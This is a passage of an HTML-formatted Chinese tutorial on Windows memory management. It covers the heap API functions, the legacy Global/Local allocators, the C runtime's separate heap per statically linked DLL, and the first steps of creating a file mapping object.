<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapDestory</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：销毁堆</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapLock</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapUnlock</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：线程调用这个函数来防止别的线程访问这个堆，其参数为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapCreate</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">或</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>GetProcessHeap</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的返回值。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapWalk</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：枚举指定堆对象的所有内存块，在多线程程序中枚举前要用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapLock</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">锁定堆。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>HeapValidate</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：此函数检查堆的正确性，他有</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>3</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">个参数：</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>hHeap</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">为要检查的堆的句柄，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwFlags</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">一般设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>lpMem</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">指定要检查的内存块，设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>NULL</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">则检查整个堆。</span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回非</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">表示内存块有效，返回</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">表示有内存块已被破坏。</span></font></font></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Arial>Global</font></span><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Arial>Local</font></span><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">函数</span></font></font></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>Global</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Local</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">函数是为兼容以前的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>16</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">位</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Windows</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">而设计的，他们的速度较慢，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Win32</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">中应该使用堆函数，而不使用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Global</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Local</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">函数。</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Global</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>Local</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的内存分配是在进程的默认堆上，就是</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>GetProcessHeap()</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的堆。</span></font></font></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">标</span><span style="FONT-FAMILY: 'Ms 明朝', 'serif'" lang=ZH-CN XML:LANG="ZH-CN">准</span><span lang=EN-US XML:LANG="EN-US"><font face=Arial>C</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">函数</span></font></font></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">在</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>Windows</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">平台的</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">中的</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>malloc()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">和</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>free()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">是通</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">过调</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">堆函数</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">来</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">实现</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">的。</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">值</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">得注意的是</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">拥</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">有独立的</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">堆</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">象，我</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">们</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">知道，当一 个</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">应</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用程序初始化的</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">时</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">候，首先被初始化的是</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，然后才是</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">应</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用程序的入口 函数，而</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">堆</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">象就是在</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">被初始化的</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">时</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">候被</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">创</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">建的，这个 堆对象被称为</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>_crtheap</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">（这个堆与</span><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>GetProcessHeap()</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的堆不是一个堆</span></font><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">）</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>malloc()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">在这个堆上 分配内存</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US">(</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>new</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">实际调用</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>malloc()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">分配内存</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US">)</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，就是说</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>malloc()</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">的实际操作 类似于</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>HeapAlloc(_crtheap</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>size)</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">。</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">于</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">动态链</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接的</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>C Run-Time Library</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US">,</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">运行</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">只被初始化一 次，而</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">于静</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">态连</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接的运行</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，每</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">链</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接一次就初 始化一次，所以</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">于每个静</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">态链</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接的运行</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">都</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">拥</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">有彼此不同 的</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">堆</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">象，也就是说会存在多个</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>_crtheap</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">。</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">如果一个</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">应</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用程序</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">调</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用了多个</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US">,</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">除了一个</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">外，其他的</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，包括</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">应</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">用程序本身</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">动态连</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接运行</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">这样</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">他</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">们</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">就使用同一 个</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">堆</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">象。而有一个</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">使用静</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">态连</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">接的运行</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">库</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">，它就</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">拥</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">有一个和其 他</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">不同的堆</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">对</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">象，</span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">因此</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">中分配的内 存要在</span><span style="COLOR: rgb(50,52,50)" lang=EN-US XML:LANG="EN-US"><font face=Century>DLL</font></span><span style="FONT-FAMILY: simsun; COLOR: rgb(50,52,50)" lang=ZH-CN XML:LANG="ZH-CN">中释放。<br><br></p>
<h1 style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: 'Ms ゴシック'" lang=ZH-CN XML:LANG="ZH-CN">文件映射</span></font></font></h1>
<p style="MARGIN: 0mm 0mm 0pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">文件映射是进程间通讯的一种方法，通过文件映射可以将文件的内容与进程的虚拟地址空间相关联。使用文件映射首先创建一个文件映射对象</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>(file mapping object)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，将文件映射到物理内存，然后进程通过文件视图</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>(file view)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">来访问文件内容，这一过程如下图所示：</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt">&nbsp;<wbr><a href="http://blufiles.storage.live.com/y1pAdDCWjXe1gWlV4pjE4CgvLy4P8kKgki2uanwSHSB-yr0lUqrjynl--ZNB9MO7eY3F5be8Mb9RsFmLx-93f63CQ" target=_blank><img style="WIDTH: 431px; HEIGHT: 364px" title=Windows内存管理(2) alt=1 src="http://blufiles.storage.live.com/y1pAdDCWjXe1gWlV4pjE4CgvLy4P8kKgki2uanwSHSB-yr0lUqrjynl--ZNB9MO7eY3F5be8Mb9RsFmLx-93f63CQ" width=170 height=162 real_src="http://blufiles.storage.live.com/y1pAdDCWjXe1gWlV4pjE4CgvLy4P8kKgki2uanwSHSB-yr0lUqrjynl--ZNB9MO7eY3F5be8Mb9RsFmLx-93f63CQ"></a></p>
<p style="TEXT-ALIGN: center; MARGIN: 0mm 0mm 0pt" align=center>&nbsp;<wbr></p>
<p style="TEXT-INDENT: -18pt; MARGIN: 0mm 0mm 0pt 18pt"><font color=#000000><span lang=EN-US XML:LANG="EN-US"><span><font size=3 face=Century>1.</font><span style="FONT: 7pt 'Times new roman'">&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></span></span></span> <font size=3><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">创建文件映射对象</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFileMapping</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：创建或打开一个文件映射对象，使用完毕后用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CloseHandle</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">关闭</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFileMapping</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的句柄。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">文件映射对象可映 射磁盘文件或内存，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>lpName</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">指定文件映射对象的名称，进程通过名称来使用文件映射对象。注意不要与其他的内核对象如信号量重名。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">映射磁盘文件：</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>hFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的句柄，此时的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的参数</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwShareMode</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">应设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，即以独占方式打开，防止文件被意外修改。直到释放文件映射对象为止，都不要关闭</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的句柄。</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>flProtect</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">应与</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的访问权限设的一样，例如要读写文件</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwDesiredAccess</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>GENERIC_READ|GENERIC_WRITE</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>flProtect</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>PAGE_READWRITE</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">。如果只读文件，则</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwMaximumSizeHigh</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">和</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwMaximumSizeLow</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，若要写文件，则此</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>2</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">参数指定文件将要变成的大小。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">映射内存：这是进 程间通讯的常用手段。</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>hFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">设为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>INVALID_HANDLE_VALE(0xFFFFFFFF)</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">，此时</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwMaximumSizeHigh</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">和</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwMaximumSizeLow</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN 